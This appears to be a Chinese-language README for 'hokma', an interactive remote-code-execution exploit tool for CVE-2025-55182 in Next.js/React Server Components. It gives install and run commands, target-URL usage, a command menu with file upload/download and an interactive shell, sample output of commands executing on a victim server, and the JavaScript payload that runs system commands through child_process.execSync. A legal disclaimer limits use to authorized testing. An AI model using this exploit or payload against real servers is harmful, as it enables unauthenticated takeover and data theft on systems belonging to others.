针对 CVE-2025-55182 的交互式 RCE 利用工具,利用 Next.js/React Server Components 反序列化漏洞。特性包括自动检测、命令执行、文件传输以及内置带历史记录和自动补全的 shell。
基础代码源自: https://github.com/Emiyelbarto/CVE-2025-55182-PoC 非常感谢您做出的出色贡献。
CVE-2025-55182 是 Next.js/React Server Components 中的一个反序列化漏洞,允许未经身份验证的远程攻击者在受影响服务器上执行任意代码。该漏洞源于 React Server Actions 对序列化数据的不正确处理。
requests 库# 克隆仓库
git clone https://github.com/yourusername/hokma.git
cd hokma
# 安装依赖
pip install requests
# 使脚本可执行(可选)
chmod +x hokma.py
# 启动交互式 Shell
python hokma.py
# 仅检查漏洞
python hokma.py -u http://target.com --check
# 执行单个命令
python hokma.py -u http://target.com -c "whoami"
help 显示此帮助信息
set URL <url> 设置目标 URL
set ID <action_id> 设置 Action ID(默认:user-profile-action)
show 显示当前选项
check [url] 检查目标是否存在漏洞
exploit <command> 在目标上执行命令
shell 启动交互式命令 Shell
test 运行测试命令(id、whoami 等)
upload <loc> <rem> 将本地文件上传至目标
download <rem> <loc> 下载远程文件(base64 编码)
clear 清除屏幕
exit/quit 退出 Shell
$ python hokma.py
____ _ ____ _ _ _
| _ \ ___ __ _ ___| |_ / ___|| |__ ___| | |
| |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
| _ < __/ (_| | (__| |_ ___) | | | | __/ | |
|_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
React Server Components RCE Exploit (CVE-2025-55182)
Interactive Shell - Type 'help' for commands
hokma> set URL http://vulnerable-app.com
[+] URL set to: http://vulnerable-app.com
hokma> check
[*] Checking vulnerability on target: http://vulnerable-app.com...
[+] TARGET IS VULNERABLE!
hokma> exploit whoami
[*] Executing command: whoami
[*] Server responded with status: 200
--- COMMAND OUTPUT ---
www-data
----------------------
hokma> shell
[*] Starting reverse shell. Use 'exit' to return.
[*] Enter commands to execute on target:
cmd> pwd
[*] Executing command: pwd
--- COMMAND OUTPUT ---
/var/www/html
----------------------
cmd> exit
| 选项 | 默认值 | 描述 |
|---|---|---|
| Target URL | 无 | 易受攻击应用的 URL |
| Action ID | user-profile-action | 目标 Server Action ID |
| Timeout | 3 秒 | 请求超时时间 |
该工具发送一个特制的 multipart 请求,触发易受攻击系统的崩溃:
["$1:a:a"] 和一个空对象 {}child_process.execSync() 运行系统命令const cmd = "COMMAND";
return import('child_process').then(cp => {
try {
const output = cp.execSync(cmd).toString();
return output;
} catch(e) {
return "Command Execution Failed: " + e.message;
}
});
重要法律声明
本工具旨在用于:
请勿 对未拥有或未获明确许可的系统使用此工具。未经授权访问计算机系统是非法且不道德的。
开发者不对任何滥用此工具的行为负责。用户必须遵守所有适用法律,并在测试前获得适当授权。
目标要求:
child_process 模块可用检测限制:
利用限制: